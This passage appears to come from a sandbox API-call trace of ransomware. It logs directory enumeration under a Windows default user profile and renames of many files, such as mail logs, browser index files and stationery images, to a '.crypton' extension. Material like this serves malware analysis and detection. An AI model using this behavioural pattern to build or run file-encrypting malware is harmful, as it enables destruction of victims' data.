lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14da2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14da2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.367] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14da2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14da2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.371] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14da2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14da2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0221.378] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14da2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14da2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.385] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1500420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1500420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.392] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1526580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1526580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.398] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1526580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1526580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.408] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x154c6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154c6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.416] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x154c6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x154c6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.422] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x13a97c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a97c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.428] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1572840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1572840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.445] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.crypton"), dwFlags=0x2) returned 1 [0221.451] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x15989a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15989a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.456] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x15beb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15beb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.461] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x15beb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15beb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.466] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x15beb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15beb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.486] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.crypton"), dwFlags=0x2) returned 1 [0221.492] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x160adc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x160adc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0221.498] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x160adc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x160adc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0221.509] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1630f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1630f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0221.515] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1630f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1630f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0221.521] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1657080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1657080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.527] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1657080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1657080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0222.160] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.crypton"), dwFlags=0x2) returned 1 [0222.166] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1c708e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1c708e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0222.210] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ce2d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1ce2d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0222.215] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2810, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ce2d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1ce2d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0222.220] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d08e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1d08e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0222.226] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d08e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1d08e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0222.231] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d08e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1d08e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0222.548] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.crypton"), dwFlags=0x2) returned 1 [0222.571] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.crypton"), dwFlags=0x2) returned 1 [0222.867] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.crypton"), dwFlags=0x2) returned 1 [0223.152] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.crypton"), dwFlags=0x2) returned 1 [0223.155] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.crypton"), dwFlags=0x2) returned 1 [0223.162] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x25f60e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x25f60e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0223.164] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.crypton"), dwFlags=0x2) returned 1 [0223.189] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.crypton"), dwFlags=0x2) returned 1 [0223.196] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.crypton"), dwFlags=0x2) returned 1 [0223.202] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.crypton"), dwFlags=0x2) returned 1 [0223.208] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.crypton"), dwFlags=0x2) returned 1 [0223.215] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.crypton"), dwFlags=0x2) returned 1 [0223.219] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.crypton"), dwFlags=0x2) returned 1 [0223.225] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.crypton"), dwFlags=0x2) returned 1 [0223.235] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.crypton"), dwFlags=0x2) returned 1 [0223.242] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.crypton"), dwFlags=0x2) returned 1 [0223.254] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.crypton"), dwFlags=0x2) returned 1 [0223.265] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, 